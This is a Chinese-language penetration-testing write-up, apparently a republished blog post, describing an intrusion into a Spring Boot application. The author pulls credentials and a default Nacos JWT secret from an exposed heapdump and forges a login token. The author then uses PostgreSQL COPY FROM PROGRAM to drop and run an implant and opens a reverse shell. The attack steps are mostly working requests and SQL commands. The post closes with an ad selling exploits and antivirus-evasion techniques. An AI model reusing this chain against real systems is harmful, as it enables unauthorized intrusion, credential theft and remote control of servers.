文章总结: 本文详细介绍了从SpringBoot应用的heapdump端点泄露到实现远程代码执行的完整攻击链。通过分析JVM堆内存快照,提取数据库凭证和NacosJWT密钥,利用PostgreSQL的COPYFROMPROGRAM功能执行系统命令,最终获得系统控制权。文章强调了Actuator端点安全配置的重要性,并提供了完整的攻击利用方法。
综合评分: 88
文章分类: 渗透测试,漏洞分析,数据安全,WEB安全,内网渗透
从Heapdump泄露到数据库接管:一次“意外”的RCE实战
原创
wjlin0
小王说安全
2025年8月1日 17:01
四川
戳上方蓝字“小王说安全”关注我
0x01 申明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责。
0x01 前沿
在针对某Spring Boot应用的测试中,目标意外暴露了/actuator/heapdump端点。这个常用于应用监控的接口,未经认证即可访问,直接返回了完整的JVM堆内存快照。通过分析堆转储数据,我们成功提取出内存中的数据库连接凭证,并进一步利用数据库服务配置缺陷实现RCE
0x02 信息收集
Actuator端点暴露,老生常谈的话题了,想必大家在渗透测试的时候经常遇到吧,今天要讲的不是如何去利用Actuator,而是他的 heapdump 的.
图 1
将它下载下来,利用工具JDumpSpider(回复JDumpSpider获取)敏感信息提取工具输出到文件中
➜ spring java -jar JDumpSpider-1.1-SNAPSHOT-full.jar '/Users/xxx/Downloads/heapdump' >1.txt
筛一下其中比较重要的信息,
[password = xxxxx, jdbcUrl = jdbc:postgresql://xxxx:5433/xxxxx?currentSchema=xxxxx&useUnicode=true&characterEncoding=utf8&useSSL=false&autoReconnect=true, username = xxxxx][jdbcUrl = jdbc:derby:memory:xxxxxx;create=true, username = sa
图 2
Nacos 的 JWT 认证 Key,发现这个默认的 key,可以生存 Token,登陆 Nacos 了
nacos.core.auth.server.identity.value = 调用接口的Valuenacos.core.auth.server.identity.key = 调用接口的Keynacos.core.auth.plugin.nacos.token.secret.key = SecretKey012345678901234567890123456789012345678901234567890123456789
图 3
0x03 伪造Token
改一个永不超时的 JwtToken -> jwt.io
图 4
登陆 Nacos 将 Token 替换
POST /nacos/v1/auth/users/login HTTP/1.1Host: 127.0.0.1:8848Content-Length: 29Pragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedOrigin: http://127.0.0.1:8848Referer: http://127.0.0.1:8848/nacos/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: JSESSIONID=4F110F60E090122A980F57882BEF781EAuthorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MjUxODEyMzY5N30.cIj9TA-qACP0VTKZ-6JAdn9j0vrEKzfyUmlJK-flCmUConnection: keep-aliveusername=nacos&password=nacos
图 5
放行后完成登录。
图 6
查看其中某个配置发现,跟我们 headpdump 抓出来的密码,是一致的。
图 7
0x04 连接数据库
看一下外网有没有吧这个数据库端口映射出来,发现连得通。
➜ ~ nc -z -v xxx.xx.xx.xx 5433Connection to xxx.xx.xx.xx 5433 port [tcp/*] succeeded!➜ ~
图 8
Navicat Premium连一下看看
图 9
PostgreSQL,发现是 12 版本的,高版本本身就可以执行命令。
图 10
0x05 命令执行(上线 GoGoGo)
准备上线吧,这里 我用的是 Vshell 上线,但是,这里没有 curl、wget,多半是一个 docker 容器了,有 base64。
图 11
用最原始的标准输入吧,把马子 base64 编码
图 12
执行命令,上线
DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'echo base64后的马子 | base64 -d > /tmp/1';SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'chmod +x /tmp/1 && bash -c "/tmp/1 &" ';SELECT * FROM cmd_exec;
成功上线
图 13
图 14
0x06 删除 cmd_exec 表
看一下根目录,跟我想的一样是个 docker的镜像,容器上面没有 很多命令,多亏黄师傅的提醒,上 busybox,反弹一个 shell
图 15
为啥要反弹 shell 呢,为了重新上线吧原来的那个 cmd_exec表给删掉,不要影响到 PostgreSQL 正常运行
图16
0x07 后续
上线完成后,后续就是内网的一把梭了,不掩饰了。
0x08 知识星球
还在被这些问题困扰?
✖️ 网上POC不是跑不通就是有坑
✖️ 生成的木马被杀软秒杀
✖️ 缺乏真实红队作战思路参考
「爱坤知识星球」核心资源:
✅ 800+真实环境验证的优质POC(持续更新)
✅ 最新免杀技巧与实战方案
✅ 真实红队作战思路全解析
✅ 漏洞复现+深入利用全流程
💸 限时特惠(仅前10名):
⚡️ 原价50 → 扫码立减20元(实付30元)
⚡️ 加入满5天 → 私聊再返10元红包
(最终只要20元!立即扫码)
🚨 为什么安全人员都选择我们?
• 所有资源都经过人工实战验证
• 包含独家免杀方案和红队技巧
• 适合:渗透测试/红队/安全研究
👉 扫码加入,立享实战级安全资源!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小王说安全 wjlin0《从Heapdump泄露到数据库接管:一次“意外”的RCE实战》